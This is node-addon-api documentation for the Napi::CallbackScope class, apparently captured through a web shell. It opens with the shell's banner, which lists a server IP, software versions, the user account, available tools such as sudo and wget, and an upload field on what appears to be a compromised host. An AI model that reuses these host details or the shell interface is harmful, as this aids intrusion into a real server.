| Server IP : 34.87.99.72 / Your IP : 216.73.217.31 Web Server : Apache/2.4.46 (Unix) OpenSSL/1.1.1n System : Linux zlock-bitnami-lamp-prod-v2-vm 4.19.0-16-cloud-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64 User : bitnami ( 1000) PHP Version : 7.4.18 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /opt/bitnami/nami/node_modules/node-addon-api/doc/ |
Upload File : |
# CallbackScope There are cases (for example, resolving promises) where it is necessary to have the equivalent of the scope associated with a callback in place when making certain N-API calls. ## Methods ### Constructor Creates a new callback scope on the stack. ```cpp Napi::CallbackScope::CallbackScope(napi_env env, napi_callback_scope scope); ``` - `[in] env`: The environment in which to create the `Napi::CallbackScope`. - `[in] scope`: The pre-existing `napi_callback_scope` or `Napi::CallbackScope`. ### Constructor Creates a new callback scope on the stack. ```cpp Napi::CallbackScope::CallbackScope(napi_env env, napi_async_context context); ``` - `[in] env`: The environment in which to create the `Napi::CallbackScope`. - `[in] async_context`: The pre-existing `napi_async_context` or `Napi::AsyncContext`. ### Destructor Deletes the instance of `Napi::CallbackScope` object. ```cpp virtual Napi::CallbackScope::~CallbackScope(); ``` ### Env ```cpp Napi::Env Napi::CallbackScope::Env() const; ``` Returns the `Napi::Env` associated with the `Napi::CallbackScope`. ## Operator ```cpp Napi::CallbackScope::operator napi_callback_scope() const; ``` Returns the N-API `napi_callback_scope` wrapped by the `Napi::CallbackScope` object. This can be used to mix usage of the C N-API and node-addon-api.